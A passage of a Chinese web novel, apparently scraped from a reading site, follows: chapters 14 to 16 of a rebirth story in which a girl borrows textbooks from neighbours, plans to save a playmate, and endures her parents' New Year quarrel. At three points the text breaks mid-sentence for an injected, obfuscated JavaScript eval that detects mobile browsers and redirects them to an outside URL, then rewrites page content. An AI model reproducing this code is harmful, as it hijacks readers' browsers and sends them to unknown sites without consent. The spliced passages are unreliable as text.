至于跟言双同岁的徐枫,尽管也在嘲笑言双,但因为徐枫还没到长雀斑的年纪,就已经死亡,言双心里莫名空落落的,竟然因此又生出充当拯救者的冲动。 而跟着其他人嘲笑言双的言蓉,从小到大的皮肤都很好,徐金珍和言德珍的雀斑并未遗传给她,言双没有反嘲她的理由。 六个女孩子在言双家的院坝里窜来窜去,笑闹声响破天际,与她们隔了不到二十米的董丽蓉,端起一盆水泼到自家院坝里,笑着大喊:“敏儿,快出来看,一群母猪在打圈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923941|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论恶毒,没有人能比得过董丽蓉。 六个女孩子中最大的是徐雪芹,也才十四岁,最小的是徐枫,差几天满八岁,却都默契地交换眼神。 在语言暴力下长大的小孩子,完全听得懂董丽蓉话里的恶毒、粗俗,也完全明白董丽蓉的焦躁。 徐枫死之前,徐敏从未有过玩伴,他在十一岁之前,唯一的玩伴是比他小四岁的智障弟弟。 六个女孩子的笑闹声越发夸张,地面被踩起一阵又一阵的黄白色土灰。 “灰,这几个女子玩的开心的啊。”一个女声传来。 所有人都停了下来,看向院坝下面的那条公路,以及走在公路上的一对夫妻和他们的两个儿子。 女声来自中心校的教师李桂珍。 如果言双没算错,李桂珍这时候应该是中心校三年级的语文老师兼班主任。他的二儿子跟言双同岁,也在读三年级,他的大儿子跟徐雪芹同岁,正读初二。 言双想再等一年,她就可以拜托李桂珍的大儿子徐荣购买高中理科辅导书,或者直接借用徐荣的辅导书。 言双这边正计划呢,李桂珍又开口道:“双儿,你考了个全乡第一噢,我刚刚还跟你妈妈说,让她给你煮肉吃呢。” 全乡第一吗? 言双多少有些惊讶,倒不是说她不觉得自己的分数能排全乡第一,而是她不知道原来在六年级之前,就已经有全乡排名这个事儿了。 “我都不知道有全乡排名。”言双大大方方地回道,没学以前那样扭扭捏捏,且因为不好意思,马上跑回屋里躲起来。 李桂珍应道:“一直都有,你数学考了满分,全乡就你一个考满分。” 李桂珍的话仿佛一个大石头,激起了巨大的水花。 她们一家四口走远之后,言双看着其他五人脸上雷同的神色,问道:“不玩了?” 没有人回答玩还是不玩,但游戏自然而然结束了,没人再有先前的兴致,没几秒就各自拖着怀疑的,不是滋味的步子回家了。 如果不是教师李桂珍告诉所有人言双考了一个全乡第一,而是言双自己或者其他农民说言双考了个全乡第一,周围的人不会相信,且仍然会拿言双考十二分的事情嘲笑她。 当然了,也没有农民会关心自家孩子在全乡的排名,这个年代,农民的孩子仍然只需要活着就行,如果没能活着也没关系,他们悲伤几天,还可以重新生一个。 可言双考了全乡第一的事情还是很快传遍整个村子。 显然,整个村子都没有其他值得关注的事情了,无聊、贫穷一直笼罩着整个村子。 很多人都对言双考全乡第一的事情发表了见解。 徐德财说:“双娃子是不是偷偷抄了其他娃儿的了。” 徐新佳说:“你是不是偷偷摸摸地在刻苦?欺骗我们这些娃儿。” 院子下面的徐新兵则发表高见:“小学考的高有啥子用,一点用都没有。” 周秀莲问:“你咋拿了通知书回来都不给我们说一声?” 言德珍捡起徐新兵的高见道:“快悄悄的,小学考的高有啥子用?一天天挂在嘴巴子上怪丢人现眼的。” 15. 未来 “又不是我在说,你凶什么凶?”言双觉得无聊,不耐烦地吼道。 最近,言双经常感到无聊,她怀疑她的手机戒断反应出现了。 言德珍两团眉毛都快连到一起了,气得又想打人,言双站起来,离开了火炉,走出歇房,站在院坝里看星星。 2025年,村里有好几个需要动土的工程施工,空气里的灰尘大,天上的星星都依然明亮。 此时此刻天上的星星比2025年的星星还要明亮数倍,而且周围没有一盏路灯,言双仰头望着望着,有一种会被那些闪烁的光点吸走的感觉。 更小的时候,某天,言德珍忽然兴奋地喊言双的名字,“双儿,快来看天上那个扫把星。” 言双记不得那时候自己几岁,只记得那个奇妙的场景,她以为她见过了流星。 长大之后,她看到很多影视剧里那些男女主角看流星的场景,常常感到疑惑。 她以为流星跟她记忆中的扫把星一样,没想到流星是转瞬即逝的一条线,与她记忆中那一道光完全不一样。 言双跟人工智能软件频繁对话的那段时间,提到过小时候自己见到的扫把星,认为那一个时刻,像是自己命运的某种预兆,又像是自己做过的一个梦。 人工智能给出的说明是她极有可能看到的是彗星,百武彗星或海尔-波普彗星。 百武彗星于1996年被发现,三月底到四月初比较适合观测;海尔-波普彗星则于1995年被发现,1997年的春天可以观测到。 言双无法确定自己到底看到的是哪一个彗星,但她记起了看《彗星来的那一夜》那部电影时生出的恐惧。 长大之后,言双常觉自己愚钝,没办法领会那些深奥的物理知识,更没办法说清楚经典科幻电影的逻辑。 她现在望着黑色背景上那无数的,好似抽搐一般的星星,很难不去想2025年的自己在哪里,到底发生了什么事。 可是正如她自己所说的,她常觉自己愚钝,即使会想,但想不通,如此一来便担心自己终有一天会疯。 疯掉会比无聊可怕吗? 言双不知道。 她能做的只有对抗无聊。 而能对抗无聊的只有具体的任务。 言双给自己制作了一张每日任务表。 每天睡到自然醒,确保身体成长期睡眠充足。 每天去山里、路边、地坎割草,虽然村里会下雪,但冬天仍然能找到喂鸡的青草,提高鸡的下蛋频率。而且这样的户外活动对眼睛有利,尽管她长大之后的近视程度不深,但如果能完全不近视当然更好。 背诵家里唯一的课外书籍《诗经》。 坚持运动,比如跳绳,还可以跳起来摸墙壁。言双成年之后的净身高是163厘米,如果坚持这样做,说不定身高能达到甚至超过167厘米。这不是她的空想,尽管言德珍年轻未驼背之时的身高就只有165厘米左右,但周秀莲年轻时的身高实打实地有167厘米,而且言蓉成年之后的净身高也是163厘米,证明她们的基因不差。 最后一个任务则是尽快搞到初中、高中的理科书籍或辅导书。 由于最后一个任务的紧迫性更强,难度更高,言双在家思来想去良久,暂时打消了独自乘坐村里到市里的班车,去市里找书店购买辅导书的念头。 一方面是因为她的钱不够;另一方面是2000年的市里还不够安全,独自前往太过冒险。 所以言双只能从周围正读初中的人下手。 言双率先排除了徐雪芹,徐雪芹与徐德财的性格相似,必定不会高兴地将书借给她,也有可能徐雪芹答应借,但徐德财不允许她借。 至于徐荣,言双有点害怕去他家。一来是因为他家算村里比较有钱的家庭,言双打小去他家的时候,都会感到浑身不自在;二来他爸徐德松死的早又死的惨,言双怕看到那张活生生的死人脸。 那就只剩下院子下面的徐凯,徐凯的母亲周秀英与徐德财的人品几乎一模一样,两人也一直搅缠在一起,言双立即将他排除。 想了半天,竟然没想出一个可实施的方案。 言双懊恼捶床。 小儿间屋忽然被推开。 “你在弄啥?”徐枫粗哑的嗓音击中言双。 徐枫这种性格的小孩是言双长大之后最讨厌的,但她又不禁想两人小的时候经常玩在一起,两人肯定有相似之处,她估计也是个挺讨人厌的小孩。 最重要的是两人同龄,如今她因为恐惧疏远徐枫,徐枫大概也很无聊。 更小的时候,言双和徐枫在这间屋子里偷吃过好几个鸡蛋。 两人那时候是真的小,没有一个人能够到架在婆婆的棺材和墙角之间的鸡窝,还得搬一把椅子,站在上面,趴在棺材上使劲攀棺材板拱起的部分,才能拿到鸡窝里还热着的鸡蛋。 言双还记得满是灰的棺材的磨砂触感。 徐枫如果知道自己还没活到十一岁就死了,会是什么样的心情? 言双啧了一声,想敲自己的头。 就算你直接告诉徐枫这一事实,徐枫也未必会放在心上啊,她也未必懂死亡是怎么回事。 她会像你在二十五岁之前那样,认为自己永远不会死,认为自己特殊到不可能死。 “我在思考。”言双故作老成道。 咳,她也不算是故作老成,她是真的挺老成了。 徐枫问:“思考啥?” “思考未来。”言双回答。 “未来是啥?” “未来就是没有你,也可能没有我的世界。” “那还思考啥?” 言双一愣,望着徐枫的脸,她的脸渐渐恢复生机。 几天后,言双的任务表中多了一条关键任务——拯救徐枫。 拯救徐枫需要做的准备工作很多,不过言双还有好几年的时间,她不急。 只是万一徐枫不想被拯救呢? “假如,我是说假如,你爹妈在你快十一岁的时候,又给你生个弟弟,你会开心吗?”言双问啃着烧洋芋的徐枫。 “怎么可能?”徐枫用手背抹了一把嘴,含含糊糊地回。 言双看着她黑黑的嘴周,又想掏纸给她擦嘴,像她刚发现自己重生,并想掏纸给周成擦鼻涕那样。 “怎么不可能?你爹在你十一岁的时候才四十六岁,你妈那时候才三十六岁。”徐新佳和余金秀找言双拍过很多次身份证照片,用以低保申请或开具低保证明,所以言双清楚地记得他们的年纪。 徐枫吸了吸鼻涕,“我们有两姊妹了啊。” 言双耸耸肩,“万一你爹妈想要儿子呢?那瞎子和那婆娘不是天天都挖苦你爹妈没有儿子。” 徐枫毫不在意,“瞎子也挖苦你爸妈啊,还挖苦底下财爷爷们。” “我爸妈的确也重男轻女想要儿子,但是人穷胆子也小,估计不敢冒着罚款的风险再拼儿子。”言双客观道,“但你爹妈存的有钱,肯定能交上罚款。” 晚上躺在床上快睡着的时候,言双忽然想到既然很多事情都发生了变化,那变化会不会发生在她家的人口结构上。 她记得家里打水井的那几天,周秀莲有一两天一直愁眉苦脸,脸上的眼泪几乎没干过。 周秀莲当时抱怨的是她在街上刮了宫,回到家还要给家里的工人做饭,言德珍还让她背水泥、背沙。 那时候徐枫已经不在,言蓉在读初中,言双回家没事干,周秀莲一边烧锅一边一把鼻涕一把泪地讲给她听。 周秀莲似乎很喜欢给言双讲她的痛苦,尽管她不只是讲她的痛苦,但言双却对她的痛苦印象深刻。 甚至很多时候,周秀莲痛苦的婚姻生活的故事已经完完全全淹没了她所讲过的那些民间故事。 有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923942|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段时间,言双做着作家梦,常常回忆童年往事,当作写作素材。 回忆中有两束光让她相信自己就是天定的作家。 小时候的言双体弱多病,且爱装病。 周秀莲常常抱着她坐在火炉旁,讲那些穷人家饿肚子找吃的故事哄她睡觉。 在周秀莲怀里的言双眼里是无尽的黑暗,火炉里噼啪一声响,她扭头看,看到了火炉底下透出的火红的光。 三年级之前的言双与周秀莲和言德珍一起睡,周秀莲和言德珍经常吵架。他们一吵架,周秀莲就会带着言双睡到衣柜、床头、墙壁之间的一小块地板上,这一小块地板正对着房间的门,言双早晨一睁眼,看到的都是门下边透进来的光。 周秀莲似乎将言双当作了装载她痛苦的器具,而言双很长一段时间里都心甘情愿地吞咽着周秀莲的痛苦,直到周秀莲开始催她结婚催她生子,她用周秀莲曾经讲述过的生育、婚姻方面的痛苦反击时,周秀莲轻飘飘来了一句“那有啥,都是那样过来的”,她才意识到周秀莲是将痛苦转移到了她身上,而不仅仅是用她来装载痛苦。 现在,她决定不再倾听、装载周秀莲的痛苦,会不会改变周秀莲的命运?会不会让她多一个弟弟,而不是徐枫多一个弟弟? 如果是她多一个弟弟,那她和言蓉必然失去读书的机会。 此担忧一出现,言双顿感人生充满艰难险阻,很少再有无聊的时间。 也因为这一担忧,她克服其他更小的担忧,走了三四十步,进入徐德财家。 这是言双这么久以来,第一次到别人家玩。 长大之后的言双几乎大门不出二门不迈,周围人的红白喜事,她从不到场,所有人都知道她不喜欢跑人户,所有人都在背后以此挖苦嘲讽她。 当然了,以她此特点嘲讽她嘲讽的最凶的正是徐德财及其女人舒英秀。 只是,这两人现在还未发现她已经从一个喜欢跑人户的小孩变成了一个宅家的小孩。 徐雪芹和徐莉芹坐在火炉旁,舒英秀则在一口棺材旁边削萝卜,旁边的凳子上放着一个塑料水盆,里面的水冒着袅袅热气。 坐在靠墙位置的,是徐雪芹和徐莉芹的婆婆刘老婆儿,那个位置是刘老婆儿的专座。 言双发现她不记得刘老婆儿叫什么名字,从小到大,她都只称呼这守财奴老婆婆为刘婆。 言双早在2023年就已经发现村子里的大部分女性都没有名字,或者准确地说是大部分人都不记得村子里大部分女性的名字。 很多女性只是某某某的儿媳妇,只是某某某的女人,某某某的妈妈。 甚至很多小孩子在别人问是谁家的小孩时,第一反应也是报上自己爸爸的大名,而不是妈妈的大名。 “刘婆,你叫啥名字?”言双见徐德财没在家,坐到了徐莉芹旁边,以莫名其妙的问题为后面借书的事情进行铺垫。 刘婆活了九十一岁,在她年迈到无法种地、捡柴的最后五六年间,她见着人就开始讲述自己的过去,重复地讲,重复地讲,以至于最后再没有人愿意听她讲。 为了让人听她讲,她便在讲之前,对人从头到尾、从里到外地夸一遍。 比如你耳朵大,有福气。 比如你们娃儿念书行。 比如你们娃儿脑壳大,要当官。 等等之类的。 可这时候的刘婆大约七十三岁,性格远没有八九十岁时那么和蔼可亲,一张皱巴巴的老脸朝着言双,凹陷的双颊不情不愿地挤出几个字,“这娃儿问这弄啥?” 徐莉芹转头问道:“哎,对了,妈,婆婆叫啥名字?” 舒英秀不耐烦道:“晓得叫啥名字,我不晓得。” 算起来,刘婆是舒英秀的姑姑,舒英秀的爸爸是徐德财的舅舅。不过刘婆和舒英秀的爸爸是同母异父的姐弟,徐雪芹和徐莉芹看上去跟正常人没什么两样。 16. 吵架 言双见这对婆媳之间似乎又产生了矛盾,不想再浪费时间,直截了当地问:“大姐,你初一的数学书、初二这学期的物理书还在吗?我想借着看看里面的画?” 徐雪芹鄙夷道:“你好无聊噢,你不会以为考了个全乡第一就能看懂初中知识了吧?” 徐莉芹则说:“就是,说不定字都认不全。” 唉,全乡第一这个事情不知道这些人还要念叨多久。 言双无奈坦言:“就是太无聊,找点更无聊的东西看看。” 数九寒天,不适合户外活动,白天又没有多少人家愿意开着电视消耗电费,院子里大部分的小孩都会被卷进无聊的烤火日常中。 徐雪芹和徐莉芹嘲讽了几句,便带着言双进入她们的卧室。 言双小时候就感到奇怪,为什么她们家是言德珍和周秀莲住圈楼上的房间,而徐德财和舒英秀却住的是歇房。 徐雪芹家圈楼上的房间和言双家的差不多,不过一个背靠西边,一个背靠东边,但靠窗的位置都摆放了一张书桌,外观、大小几乎一模一样。 徐雪芹打开书桌下边的柜子,言双见到里面还有初中历史、政治、地理等教材,贪心道:“这些书我都借着看一下吧,我可以临摹上面的图画。” “我真的太无聊了,又没有电视看。”言双干脆豁出去,编造更夸张的谎言,“我爸妈一到过年的时候就吵架,我都烦死了,只能画点儿画缓解一下。” 其实周秀莲和言德珍吵架这事儿,也不完全是假的。 依照言双的记忆来看,周秀莲和言德珍每年过年都会吵架,只是今年还没有开始吵,因为还没到蒸过年馍的时间。 当然了,院子里所有的夫妻,到了蒸过年馍的时候都会吵架,有些可能只在这一天吵,有的可能会吵到正月初一初二。 徐雪芹和徐莉芹闻到八卦的味道,很快放下戒心与不情愿。 言双顺利地抱着一堆书回家。 初中的知识虽然比高中要浅不少,但言双毕竟已经高中毕业十多年,很多基础知识早已忘光,现在基本等于重学。 她每天割完草喂完鸡,磨完刀剁完洋芋,就躲进小儿间学习。 数九寒天里,穿着一件毛衣和一件春秋天的外套,一呆就是几个小时,竟然也不觉得冷。 人在极度无聊的时候,果然会生出一股狠劲儿。 高二的她就是因为突然感到无聊,才开始学习的。 言双想拉着言蓉一起学,可尝试了几次,言蓉很不耐烦,且认为她在显摆自己考了个全乡第一,她便放弃了。 谁能想到言蓉原来打小就跟言德珍是一样的性格,她还以为言蓉是长大之后才变的。 蒸过年馍的日子终究还是来了。 为了让过年馍能吃到正月十五之后,村里大部分的人都会选择在腊月二十七八蒸。 一蒸就要蒸一天,糖包子、菜包子、压卷子一笼接一笼地往锅笼里装。 除夕还会做一大锅骨头炖白萝卜,会反复热来吃,最后萝卜像糖一样滑溜溜的,夹都夹不起来,而且一抿就化,还会带着一点微酸的味道。 言双小时候最喜欢吃着这样微酸的,一抿就化的萝卜下豆腐卷心菜馅儿的菜包子吃。 长大后再没吃到那样的味道,因为家里有冰箱了。 这样的饮食习惯,竟然也没有听说吃死过人。 案板支在灶房阴沟那面墙的窗户边,上面撒了一层白白的面粉,中间放着醒发了很久的面团,像一座隆起的小山。 酵母是前一年蒸过年馍留下的,团成一个圆饼样,晒干后装在塑料口袋里保存。 需要提前将酵母饼掰碎,再用温水浸泡,并持续往里面加入面粉,为了促进发酵,还需要将其放在火炉边。 如果腊月二十七八蒸过年馍,那么就需要在腊月二十一二开始调制酵子,否则没办法吃上蓬松暄软的过年馍。 网上有段时间流行用什么波兰种做面包,言双一看流程,就觉得十分熟悉,分明跟老面馍差不多,只是名字听起来洋气而已。 案板上的小山只占了所有面团的五分之一。 八岁的言双已经承担起擀面皮的工作,言蓉已经会扯几个皱包子。 徐金珍自从不再吃轮锅饭之后,就一直跟言双家一起蒸过年馍。但她已经没那个力气揉面,全都要靠周秀莲。 周秀莲在这样的日子里非常忙碌,她又是一个在做饭方面对自己有着高要求,且有些自信的人,不允许一点儿不称心和不如意。 “喊你抱些柴来,你一天这跑一下那儿跑一下。”周秀莲一边揉面一边指责言德珍,“你忙得很么?昨天晚上就跟你说要背一缸水存起,今天早上睡一大早上才起来,现在都十一二点,第一笼气都还没上。” 言德珍自然不是忍气吞声的人,亦骂骂咧咧:“你行得很,你那么行早上不晓得起来去背。” “我去背,你是弄啥的,你个男人当起。”周秀莲双手按着冰凉的面团山,推拉、揉搓、按压,“我要是不早上鸡没叫就起来揉面,我还要你去背。” “我看你是又想吵架了,年年到这个时候,你都要来这一台。”言德珍爬上梯子,取灶房上空悬挂的柴架上面的青冈木柴,“那个喊球你蒸来的么?” 言双的耳朵都要起茧了。 早几年,徐金珍还会帮言德珍几句,领略过周秀莲的脾气之后,再不敢发言。 言蓉则始终不会将这些事情装到耳朵里,再放到心上,以至于她在结婚之前,都有一个要找跟言德珍一样的男的结婚的想法。 木蒸笼、大铁锅里冒出团团白色的水蒸气,熏的灶房里的一切事物和所有人都模糊起来。 水在蒸笼底下咕嘟作响,一米长的木柴从空中落下,砸出一个接一个的Duang声。 “你擀的那是啥?”周秀莲向着无辜的言双喷火。 “中间厚边缘薄的包子皮喽。”言双早有准备。 周秀莲揉面的动作放慢,瞥向言双的眼睛里满是诧异。 她大概是没想到出气筒竟然成了一个软面团,家里的人几乎没办法再将她激怒。 她也没办法再在出气筒撒泼打滚哭嚎乱叫的时候,挖苦出气筒是破竹竿声音了。 周秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923943|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莲双手的劲儿逐渐恢复,将面团按压出一个又一个的大坑,讽刺道:“这么大了,包子都不会扯,以后老人婆都找不到。” 言蓉接下话茬:“找到了老人婆,也要被嫌弃。” 这些话自然也是言双再熟悉不过的,她无所谓道:“你以为我是你们娘俩,没了男人活不了。” 言双再次慨叹,要是有个手机就好了,她可以把周秀莲和言蓉的话录下来,活到或者回到2025年的时候,放给她们听,她们就会承认她们以前有多荒唐,有多封建落后,又有多活该了。 第一笼菜包子蒸制的时间快到时,周秀莲丢下面团,开始准备揭蒸笼,看到言德珍又跟个没事人似的跑进跑出,开骂:“喊你把簸箕端来捡馍馍,喊了无数次了。” 言德珍的经典表情再次出现,咧着嘴龇着牙回击:“我找地膜,我找地膜,你日妈地一天一定要吼到起么?” 周秀莲端起最上面那层蒸屉,砰的一声放到灶台上,大声骂了回去,“我日你那妈,你自己莫的妈么?你一天日妈连天的,你就球是会绝人,你除了会绝人,还会弄啥……” 眼泪鼻涕随着周秀莲的骂声流了出来。 徐金珍弱弱的声音响起:“腊月寒天,绝起弄啥嘛,逗人家笑啊。” 周秀莲的骂声越来越大,言德珍则一句话都不说了,将地膜铺进堂屋里的锅笼,端着簸箕走入厨房,仿佛什么都没有发生,周秀莲只是在无理取闹。 言双摇摇头,拿起自己擀的包子皮,用勺子挖了两勺豆腐卷心菜放到包子皮上,按照脑子里的步骤,一下一下地扯出皱褶。 可是依然有点儿脑子会了手不会的意思,成品没那么好看。 她趁着周秀莲还在捡馍馍的时候,又尝试包了好几个,才达到2025年她包包子水平的百分之八十。 但至少是比十一岁的言蓉包的好多了的。 “哪个包的那?口都没收拢,等会一蒸,菜全部漏出来了。”周秀莲回到案板前,就又喷起了火。 言蓉道:“妹娃子包的。” 言双叹了一声气,她就不该多余做些事! 蒸馍馍的大工程直到下午太阳落山才结束。 周秀莲煮了酸菜豆花稀饭,不过没多少豆花在里面,因为用的是她前天点豆腐剩下的浆水。 所有人一整天都靠吃包子、压卷过来的,十分渴望稀饭,除了言双。 “你咋不要?”周秀莲问,“今天也没见你吃馍馍。” 言双一本正经道:“碳水化合物是我的敌人。” 所有人又当她在发疯,就着稀饭吃起馍馍。 言双如今才发现大脑对行为的影响。 要知道她以前在这个年纪,在这样的一天里,她是可以吃下五六个包子,一两个压卷的。 而且家里自制的包子,以及跟花卷形状差不多的压卷,都比外面卖的要大一两倍。 “现在不吃,等会儿又喊饿。”周秀莲递给言双一个卷着猪油渣的压卷,“快吃。” 站在炉旁的言双抱着手臂摇头叹气,有这样毫无节制的妈,难怪她会在青春期发胖。